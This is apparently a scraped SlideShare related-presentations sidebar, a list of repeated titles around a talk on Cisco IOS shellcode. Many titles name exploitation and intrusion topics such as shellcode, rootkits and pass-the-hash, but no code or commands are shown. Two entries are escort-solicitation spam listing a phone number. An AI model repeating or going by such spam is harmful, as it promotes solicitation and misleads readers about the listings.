VMware NSX - Lessons Learned from real projectVMware NSX - Lessons Learned from real project
VMware NSX - Lessons Learned from real project
 
[오픈소스컨설팅]Zabbix Installation and Configuration Guide
[오픈소스컨설팅]Zabbix Installation and Configuration Guide[오픈소스컨설팅]Zabbix Installation and Configuration Guide
[오픈소스컨설팅]Zabbix Installation and Configuration Guide
 
Weblogic12 c installation guide
Weblogic12 c installation guideWeblogic12 c installation guide
Weblogic12 c installation guide
 
Support formation vidéo : Cisco ASA, configuration
Support formation vidéo : Cisco ASA, configurationSupport formation vidéo : Cisco ASA, configuration
Support formation vidéo : Cisco ASA, configuration
 
VXLAN Practice Guide
VXLAN Practice GuideVXLAN Practice Guide
VXLAN Practice Guide
 
Cisco ASA
Cisco ASACisco ASA
Cisco ASA
 
Building Multi-Site and Multi-OpenStack Cloud with OpenStack Cascading
Building Multi-Site and Multi-OpenStack Cloud with OpenStack CascadingBuilding Multi-Site and Multi-OpenStack Cloud with OpenStack Cascading
Building Multi-Site and Multi-OpenStack Cloud with OpenStack Cascading
 
Ansible, best practices
Ansible, best practicesAnsible, best practices
Ansible, best practices
 
HHM-2833: Where is My Message?: Using IBM MQ Tools to Work Out What Applicati...
HHM-2833: Where is My Message?: Using IBM MQ Tools to Work Out What Applicati...HHM-2833: Where is My Message?: Using IBM MQ Tools to Work Out What Applicati...
HHM-2833: Where is My Message?: Using IBM MQ Tools to Work Out What Applicati...
 
Ansible - Hands on Training
Ansible - Hands on TrainingAnsible - Hands on Training
Ansible - Hands on Training
 
CloudStack Networking
CloudStack NetworkingCloudStack Networking
CloudStack Networking
 
IT Automation with Ansible
IT Automation with AnsibleIT Automation with Ansible
IT Automation with Ansible
 

En vedette

[Defcon Russia #29] Алексей Тюрин - Spring autobinding
[Defcon Russia #29] Алексей Тюрин - Spring autobinding[Defcon Russia #29] Алексей Тюрин - Spring autobinding
[Defcon Russia #29] Алексей Тюрин - Spring autobindingDefconRussia
 
[Defcon Russia #29] Александр Ермолов - Safeguarding rootkits: Intel Boot Gua...
[Defcon Russia #29] Александр Ермолов - Safeguarding rootkits: Intel Boot Gua...[Defcon Russia #29] Александр Ермолов - Safeguarding rootkits: Intel Boot Gua...
[Defcon Russia #29] Александр Ермолов - Safeguarding rootkits: Intel Boot Gua...DefconRussia
 
Георгий Зайцев - Reversing golang
Георгий Зайцев - Reversing golangГеоргий Зайцев - Reversing golang
Георгий Зайцев - Reversing golangDefconRussia
 
[DCG 25] Александр Большев - Never Trust Your Inputs or How To Fool an ADC
[DCG 25] Александр Большев - Never Trust Your Inputs or How To Fool an ADC [DCG 25] Александр Большев - Never Trust Your Inputs or How To Fool an ADC
[DCG 25] Александр Большев - Never Trust Your Inputs or How To Fool an ADC DefconRussia
 
[Defcon Russia #29] Борис Савков - Bare-metal programming на примере Raspber...
[Defcon Russia #29] Борис Савков -  Bare-metal programming на примере Raspber...[Defcon Russia #29] Борис Савков -  Bare-metal programming на примере Raspber...
[Defcon Russia #29] Борис Савков - Bare-metal programming на примере Raspber...DefconRussia
 
[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux
[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux
[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/LinuxDefconRussia
 
Олег Купреев - Обзор и демонстрация нюансов и трюков из области беспроводных ...
Олег Купреев - Обзор и демонстрация нюансов и трюков из области беспроводных ...Олег Купреев - Обзор и демонстрация нюансов и трюков из области беспроводных ...
Олег Купреев - Обзор и демонстрация нюансов и трюков из области беспроводных ...DefconRussia
 
nosymbols - defcon russia 20
nosymbols - defcon russia 20nosymbols - defcon russia 20
nosymbols - defcon russia 20DefconRussia
 
Weakpass - defcon russia 23
Weakpass - defcon russia 23Weakpass - defcon russia 23
Weakpass - defcon russia 23DefconRussia
 
Attacks on tacacs - Алексей Тюрин
Attacks on tacacs - Алексей ТюринAttacks on tacacs - Алексей Тюрин
Attacks on tacacs - Алексей ТюринDefconRussia
 
static - defcon russia 20
static  - defcon russia 20static  - defcon russia 20
static - defcon russia 20DefconRussia
 
Andrey Belenko, Alexey Troshichev - Внутреннее устройство и безопасность iClo...
Andrey Belenko, Alexey Troshichev - Внутреннее устройство и безопасность iClo...Andrey Belenko, Alexey Troshichev - Внутреннее устройство и безопасность iClo...
Andrey Belenko, Alexey Troshichev - Внутреннее устройство и безопасность iClo...DefconRussia
 
Vm ware fuzzing - defcon russia 20
Vm ware fuzzing  - defcon russia 20Vm ware fuzzing  - defcon russia 20
Vm ware fuzzing - defcon russia 20DefconRussia
 
Zn task - defcon russia 20
Zn task  - defcon russia 20Zn task  - defcon russia 20
Zn task - defcon russia 20DefconRussia
 
Nedospasov defcon russia 23
Nedospasov defcon russia 23Nedospasov defcon russia 23
Nedospasov defcon russia 23DefconRussia
 
Advanced cfg bypass on adobe flash player 18 defcon russia 23
Advanced cfg bypass on adobe flash player 18 defcon russia 23Advanced cfg bypass on adobe flash player 18 defcon russia 23
Advanced cfg bypass on adobe flash player 18 defcon russia 23DefconRussia
 
Miasm defcon russia 23
Miasm defcon russia 23Miasm defcon russia 23
Miasm defcon russia 23DefconRussia
 
HTTP HOST header attacks
HTTP HOST header attacksHTTP HOST header attacks
HTTP HOST header attacksDefconRussia
 
One Shellcode to Rule Them All: Cross-Platform Exploitation
One Shellcode to Rule Them All: Cross-Platform ExploitationOne Shellcode to Rule Them All: Cross-Platform Exploitation
One Shellcode to Rule Them All: Cross-Platform ExploitationQuinn Wilton
 
Shellcode injection
Shellcode injectionShellcode injection
Shellcode injectionDhaval Kapil
 

En vedette (20)

[Defcon Russia #29] Алексей Тюрин - Spring autobinding
[Defcon Russia #29] Алексей Тюрин - Spring autobinding[Defcon Russia #29] Алексей Тюрин - Spring autobinding
[Defcon Russia #29] Алексей Тюрин - Spring autobinding
 
[Defcon Russia #29] Александр Ермолов - Safeguarding rootkits: Intel Boot Gua...
[Defcon Russia #29] Александр Ермолов - Safeguarding rootkits: Intel Boot Gua...[Defcon Russia #29] Александр Ермолов - Safeguarding rootkits: Intel Boot Gua...
[Defcon Russia #29] Александр Ермолов - Safeguarding rootkits: Intel Boot Gua...
 
Георгий Зайцев - Reversing golang
Георгий Зайцев - Reversing golangГеоргий Зайцев - Reversing golang
Георгий Зайцев - Reversing golang
 
[DCG 25] Александр Большев - Never Trust Your Inputs or How To Fool an ADC
[DCG 25] Александр Большев - Never Trust Your Inputs or How To Fool an ADC [DCG 25] Александр Большев - Never Trust Your Inputs or How To Fool an ADC
[DCG 25] Александр Большев - Never Trust Your Inputs or How To Fool an ADC
 
[Defcon Russia #29] Борис Савков - Bare-metal programming на примере Raspber...
[Defcon Russia #29] Борис Савков -  Bare-metal programming на примере Raspber...[Defcon Russia #29] Борис Савков -  Bare-metal programming на примере Raspber...
[Defcon Russia #29] Борис Савков - Bare-metal programming на примере Raspber...
 
[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux
[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux
[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux
 
Олег Купреев - Обзор и демонстрация нюансов и трюков из области беспроводных ...
Олег Купреев - Обзор и демонстрация нюансов и трюков из области беспроводных ...Олег Купреев - Обзор и демонстрация нюансов и трюков из области беспроводных ...
Олег Купреев - Обзор и демонстрация нюансов и трюков из области беспроводных ...
 
nosymbols - defcon russia 20
nosymbols - defcon russia 20nosymbols - defcon russia 20
nosymbols - defcon russia 20
 
Weakpass - defcon russia 23
Weakpass - defcon russia 23Weakpass - defcon russia 23
Weakpass - defcon russia 23
 
Attacks on tacacs - Алексей Тюрин
Attacks on tacacs - Алексей ТюринAttacks on tacacs - Алексей Тюрин
Attacks on tacacs - Алексей Тюрин
 
static - defcon russia 20
static  - defcon russia 20static  - defcon russia 20
static - defcon russia 20
 
Andrey Belenko, Alexey Troshichev - Внутреннее устройство и безопасность iClo...
Andrey Belenko, Alexey Troshichev - Внутреннее устройство и безопасность iClo...Andrey Belenko, Alexey Troshichev - Внутреннее устройство и безопасность iClo...
Andrey Belenko, Alexey Troshichev - Внутреннее устройство и безопасность iClo...
 
Vm ware fuzzing - defcon russia 20
Vm ware fuzzing  - defcon russia 20Vm ware fuzzing  - defcon russia 20
Vm ware fuzzing - defcon russia 20
 
Zn task - defcon russia 20
Zn task  - defcon russia 20Zn task  - defcon russia 20
Zn task - defcon russia 20
 
Nedospasov defcon russia 23
Nedospasov defcon russia 23Nedospasov defcon russia 23
Nedospasov defcon russia 23
 
Advanced cfg bypass on adobe flash player 18 defcon russia 23
Advanced cfg bypass on adobe flash player 18 defcon russia 23Advanced cfg bypass on adobe flash player 18 defcon russia 23
Advanced cfg bypass on adobe flash player 18 defcon russia 23
 
Miasm defcon russia 23
Miasm defcon russia 23Miasm defcon russia 23
Miasm defcon russia 23
 
HTTP HOST header attacks
HTTP HOST header attacksHTTP HOST header attacks
HTTP HOST header attacks
 
One Shellcode to Rule Them All: Cross-Platform Exploitation
One Shellcode to Rule Them All: Cross-Platform ExploitationOne Shellcode to Rule Them All: Cross-Platform Exploitation
One Shellcode to Rule Them All: Cross-Platform Exploitation
 
Shellcode injection
Shellcode injectionShellcode injection
Shellcode injection
 

Similaire à Cisco IOS shellcode: All-in-one

02 - Introduction to the cdecl ABI and the x86 stack
02 - Introduction to the cdecl ABI and the x86 stack02 - Introduction to the cdecl ABI and the x86 stack
02 - Introduction to the cdecl ABI and the x86 stackAlexandre Moneger
 
DEF CON 27 - XILING GONG PETER PI - exploiting qualcom wlan and modem over th...
DEF CON 27 - XILING GONG PETER PI - exploiting qualcom wlan and modem over th...DEF CON 27 - XILING GONG PETER PI - exploiting qualcom wlan and modem over th...
DEF CON 27 - XILING GONG PETER PI - exploiting qualcom wlan and modem over th...Felipe Prado
 
Configuring Ip Sec Between A Router And A Pix
Configuring Ip Sec Between A Router And A PixConfiguring Ip Sec Between A Router And A Pix
Configuring Ip Sec Between A Router And A Pixangelitoh11
 
Linux+sensor+device-tree+shell=IoT !
Linux+sensor+device-tree+shell=IoT !Linux+sensor+device-tree+shell=IoT !
Linux+sensor+device-tree+shell=IoT !Dobrica Pavlinušić
 
NetConf 2018 BPF Observability
NetConf 2018 BPF ObservabilityNetConf 2018 BPF Observability
NetConf 2018 BPF ObservabilityBrendan Gregg
 
第6讲 操作与配置Cisco Ios
第6讲 操作与配置Cisco Ios第6讲 操作与配置Cisco Ios
第6讲 操作与配置Cisco IosF.l. Yu
 
BKK16-211 Internet of Tiny Linux (io tl)- Status and Progress
BKK16-211 Internet of Tiny Linux (io tl)- Status and ProgressBKK16-211 Internet of Tiny Linux (io tl)- Status and Progress
BKK16-211 Internet of Tiny Linux (io tl)- Status and ProgressLinaro
 
ENCOR SA Scenario Especifica o algoritmo de hashing de senha a ser usado, nes...
ENCOR SA Scenario Especifica o algoritmo de hashing de senha a ser usado, nes...ENCOR SA Scenario Especifica o algoritmo de hashing de senha a ser usado, nes...
ENCOR SA Scenario Especifica o algoritmo de hashing de senha a ser usado, nes...SilvioDias29
 
HandlerSocket plugin for MySQL (English)
HandlerSocket plugin for MySQL (English)HandlerSocket plugin for MySQL (English)
HandlerSocket plugin for MySQL (English)akirahiguchi
 
Alexander Timorin, Dmitry Efanov. Industrial protocols for pentesters
Alexander Timorin, Dmitry Efanov. Industrial protocols for pentestersAlexander Timorin, Dmitry Efanov. Industrial protocols for pentesters
Alexander Timorin, Dmitry Efanov. Industrial protocols for pentestersPositive Hack Days
 
Industrial protocols for pentesters
Industrial protocols for pentestersIndustrial protocols for pentesters
Industrial protocols for pentestersPositive Hack Days
 
Industrial protocols for pentesters
Industrial protocols for pentestersIndustrial protocols for pentesters
Industrial protocols for pentestersAleksandr Timorin
 
Abusing belkin home automation devices
Abusing belkin home automation devicesAbusing belkin home automation devices
Abusing belkin home automation devicesmark-smith
 
Initial Configuration of Router
Initial Configuration of RouterInitial Configuration of Router
Initial Configuration of RouterKishore Kumar
 
Initial Configuration of Router
Initial Configuration of RouterInitial Configuration of Router
Initial Configuration of RouterKishore Kumar
 
CCNA ppt Day 4
CCNA ppt Day 4CCNA ppt Day 4
CCNA ppt Day 4VISHNU N
 
SESI 7 RouterTroubleshooting.pptx
SESI 7 RouterTroubleshooting.pptxSESI 7 RouterTroubleshooting.pptx
SESI 7 RouterTroubleshooting.pptxFirmanAFauzi1
 
Reverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande ModemReverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande ModemCyber Security Alliance
 
BlueHat Seattle 2019 || Modern Binary Analysis with ILs
BlueHat Seattle 2019 || Modern Binary Analysis with ILsBlueHat Seattle 2019 || Modern Binary Analysis with ILs
BlueHat Seattle 2019 || Modern Binary Analysis with ILsBlueHat Security Conference
 
FreeLix: Semplicità & Controllo
FreeLix: Semplicità & ControlloFreeLix: Semplicità & Controllo
FreeLix: Semplicità & ControlloValerio Balbi
 

Similaire à Cisco IOS shellcode: All-in-one (20)

02 - Introduction to the cdecl ABI and the x86 stack
02 - Introduction to the cdecl ABI and the x86 stack02 - Introduction to the cdecl ABI and the x86 stack
02 - Introduction to the cdecl ABI and the x86 stack
 
DEF CON 27 - XILING GONG PETER PI - exploiting qualcom wlan and modem over th...
DEF CON 27 - XILING GONG PETER PI - exploiting qualcom wlan and modem over th...DEF CON 27 - XILING GONG PETER PI - exploiting qualcom wlan and modem over th...
DEF CON 27 - XILING GONG PETER PI - exploiting qualcom wlan and modem over th...
 
Configuring Ip Sec Between A Router And A Pix
Configuring Ip Sec Between A Router And A PixConfiguring Ip Sec Between A Router And A Pix
Configuring Ip Sec Between A Router And A Pix
 
Linux+sensor+device-tree+shell=IoT !
Linux+sensor+device-tree+shell=IoT !Linux+sensor+device-tree+shell=IoT !
Linux+sensor+device-tree+shell=IoT !
 
NetConf 2018 BPF Observability
NetConf 2018 BPF ObservabilityNetConf 2018 BPF Observability
NetConf 2018 BPF Observability
 
第6讲 操作与配置Cisco Ios
第6讲 操作与配置Cisco Ios第6讲 操作与配置Cisco Ios
第6讲 操作与配置Cisco Ios
 
BKK16-211 Internet of Tiny Linux (io tl)- Status and Progress
BKK16-211 Internet of Tiny Linux (io tl)- Status and ProgressBKK16-211 Internet of Tiny Linux (io tl)- Status and Progress
BKK16-211 Internet of Tiny Linux (io tl)- Status and Progress
 
ENCOR SA Scenario Especifica o algoritmo de hashing de senha a ser usado, nes...
ENCOR SA Scenario Especifica o algoritmo de hashing de senha a ser usado, nes...ENCOR SA Scenario Especifica o algoritmo de hashing de senha a ser usado, nes...
ENCOR SA Scenario Especifica o algoritmo de hashing de senha a ser usado, nes...
 
HandlerSocket plugin for MySQL (English)
HandlerSocket plugin for MySQL (English)HandlerSocket plugin for MySQL (English)
HandlerSocket plugin for MySQL (English)
 
Alexander Timorin, Dmitry Efanov. Industrial protocols for pentesters
Alexander Timorin, Dmitry Efanov. Industrial protocols for pentestersAlexander Timorin, Dmitry Efanov. Industrial protocols for pentesters
Alexander Timorin, Dmitry Efanov. Industrial protocols for pentesters
 
Industrial protocols for pentesters
Industrial protocols for pentestersIndustrial protocols for pentesters
Industrial protocols for pentesters
 
Industrial protocols for pentesters
Industrial protocols for pentestersIndustrial protocols for pentesters
Industrial protocols for pentesters
 
Abusing belkin home automation devices
Abusing belkin home automation devicesAbusing belkin home automation devices
Abusing belkin home automation devices
 
Initial Configuration of Router
Initial Configuration of RouterInitial Configuration of Router
Initial Configuration of Router
 
Initial Configuration of Router
Initial Configuration of RouterInitial Configuration of Router
Initial Configuration of Router
 
CCNA ppt Day 4
CCNA ppt Day 4CCNA ppt Day 4
CCNA ppt Day 4
 
SESI 7 RouterTroubleshooting.pptx
SESI 7 RouterTroubleshooting.pptxSESI 7 RouterTroubleshooting.pptx
SESI 7 RouterTroubleshooting.pptx
 
Reverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande ModemReverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande Modem
 
BlueHat Seattle 2019 || Modern Binary Analysis with ILs
BlueHat Seattle 2019 || Modern Binary Analysis with ILsBlueHat Seattle 2019 || Modern Binary Analysis with ILs
BlueHat Seattle 2019 || Modern Binary Analysis with ILs
 
FreeLix: Semplicità & Controllo
FreeLix: Semplicità & ControlloFreeLix: Semplicità & Controllo
FreeLix: Semplicità & Controllo
 

Plus de DefconRussia

Sergey Belov - Покажите нам Impact! Доказываем угрозу в сложных условиях
Sergey Belov - Покажите нам Impact! Доказываем угрозу в сложных условияхSergey Belov - Покажите нам Impact! Доказываем угрозу в сложных условиях
Sergey Belov - Покажите нам Impact! Доказываем угрозу в сложных условияхDefconRussia
 
George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...
George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...
George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...DefconRussia
 
Taras Tatarinov - Применение аппаратных закладок pwnie express на примере реа...
Taras Tatarinov - Применение аппаратных закладок pwnie express на примере реа...Taras Tatarinov - Применение аппаратных закладок pwnie express на примере реа...
Taras Tatarinov - Применение аппаратных закладок pwnie express на примере реа...DefconRussia
 
Alexey Sintsov- SDLC - try me to implement
Alexey Sintsov- SDLC - try me to implementAlexey Sintsov- SDLC - try me to implement
Alexey Sintsov- SDLC - try me to implementDefconRussia
 
Anton Alexanenkov - Tor and Botnet C&C
Anton Alexanenkov -  Tor and Botnet C&C Anton Alexanenkov -  Tor and Botnet C&C
Anton Alexanenkov - Tor and Botnet C&C DefconRussia
 
Tyurin Alexey - NTLM. Part 1. Pass-the-Hash
Tyurin Alexey - NTLM. Part 1. Pass-the-HashTyurin Alexey - NTLM. Part 1. Pass-the-Hash
Tyurin Alexey - NTLM. Part 1. Pass-the-HashDefconRussia
 
Roman Korkikyan - Timing analysis workshop Part 2 Scary
Roman Korkikyan - Timing analysis workshop Part 2 ScaryRoman Korkikyan - Timing analysis workshop Part 2 Scary
Roman Korkikyan - Timing analysis workshop Part 2 ScaryDefconRussia
 
Roman Korkikyan - Timing analysis workshop Part 2 Practice
Roman Korkikyan - Timing analysis workshop Part 2 PracticeRoman Korkikyan - Timing analysis workshop Part 2 Practice
Roman Korkikyan - Timing analysis workshop Part 2 PracticeDefconRussia
 
Roman Korkikyan - Timing analysis workshop Part 1 Theory
Roman Korkikyan - Timing analysis workshop Part 1 TheoryRoman Korkikyan - Timing analysis workshop Part 1 Theory
Roman Korkikyan - Timing analysis workshop Part 1 TheoryDefconRussia
 
Peter Hlavaty - DBIFuzz
Peter Hlavaty - DBIFuzzPeter Hlavaty - DBIFuzz
Peter Hlavaty - DBIFuzzDefconRussia
 
Vadim Bardakov - AVR & MSP exploitation
Vadim Bardakov - AVR & MSP exploitationVadim Bardakov - AVR & MSP exploitation
Vadim Bardakov - AVR & MSP exploitationDefconRussia
 
Tomas Hlavacek - IP fragmentation attack on DNS
Tomas Hlavacek - IP fragmentation attack on DNSTomas Hlavacek - IP fragmentation attack on DNS
Tomas Hlavacek - IP fragmentation attack on DNSDefconRussia
 

Plus de DefconRussia (12)

Sergey Belov - Покажите нам Impact! Доказываем угрозу в сложных условиях
Sergey Belov - Покажите нам Impact! Доказываем угрозу в сложных условияхSergey Belov - Покажите нам Impact! Доказываем угрозу в сложных условиях
Sergey Belov - Покажите нам Impact! Доказываем угрозу в сложных условиях
 
George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...
George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...
George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...
 
Taras Tatarinov - Применение аппаратных закладок pwnie express на примере реа...
Taras Tatarinov - Применение аппаратных закладок pwnie express на примере реа...Taras Tatarinov - Применение аппаратных закладок pwnie express на примере реа...
Taras Tatarinov - Применение аппаратных закладок pwnie express на примере реа...
 
Alexey Sintsov- SDLC - try me to implement
Alexey Sintsov- SDLC - try me to implementAlexey Sintsov- SDLC - try me to implement
Alexey Sintsov- SDLC - try me to implement
 
Anton Alexanenkov - Tor and Botnet C&C
Anton Alexanenkov -  Tor and Botnet C&C Anton Alexanenkov -  Tor and Botnet C&C
Anton Alexanenkov - Tor and Botnet C&C
 
Tyurin Alexey - NTLM. Part 1. Pass-the-Hash
Tyurin Alexey - NTLM. Part 1. Pass-the-HashTyurin Alexey - NTLM. Part 1. Pass-the-Hash
Tyurin Alexey - NTLM. Part 1. Pass-the-Hash
 
Roman Korkikyan - Timing analysis workshop Part 2 Scary
Roman Korkikyan - Timing analysis workshop Part 2 ScaryRoman Korkikyan - Timing analysis workshop Part 2 Scary
Roman Korkikyan - Timing analysis workshop Part 2 Scary
 
Roman Korkikyan - Timing analysis workshop Part 2 Practice
Roman Korkikyan - Timing analysis workshop Part 2 PracticeRoman Korkikyan - Timing analysis workshop Part 2 Practice
Roman Korkikyan - Timing analysis workshop Part 2 Practice
 
Roman Korkikyan - Timing analysis workshop Part 1 Theory
Roman Korkikyan - Timing analysis workshop Part 1 TheoryRoman Korkikyan - Timing analysis workshop Part 1 Theory
Roman Korkikyan - Timing analysis workshop Part 1 Theory
 
Peter Hlavaty - DBIFuzz
Peter Hlavaty - DBIFuzzPeter Hlavaty - DBIFuzz
Peter Hlavaty - DBIFuzz
 
Vadim Bardakov - AVR & MSP exploitation
Vadim Bardakov - AVR & MSP exploitationVadim Bardakov - AVR & MSP exploitation
Vadim Bardakov - AVR & MSP exploitation
 
Tomas Hlavacek - IP fragmentation attack on DNS
Tomas Hlavacek - IP fragmentation attack on DNSTomas Hlavacek - IP fragmentation attack on DNS
Tomas Hlavacek - IP fragmentation attack on DNS
 

Dernier

How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
Tech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdfTech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdfhans926745
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfsudhanshuwaghmare1
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationRadu Cotescu
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processorsdebabhi2
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024The Digital Insurer
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024The Digital Insurer
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUK Journal
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024The Digital Insurer
 
Evaluating the top large language models.pdf
Evaluating the top large language models.pdfEvaluating the top large language models.pdf
Evaluating the top large language models.pdfChristopherTHyatt
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel Araújo
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...Martijn de Jong
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Scriptwesley chun
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdflior mazor
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdfhans926745
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking MenDelhi Call girls
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProduct Anonymous
 

Dernier (20)

How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Tech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdfTech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdf
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024
 
Evaluating the top large language models.pdf
Evaluating the top large language models.pdfEvaluating the top large language models.pdf
Evaluating the top large language models.pdf
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
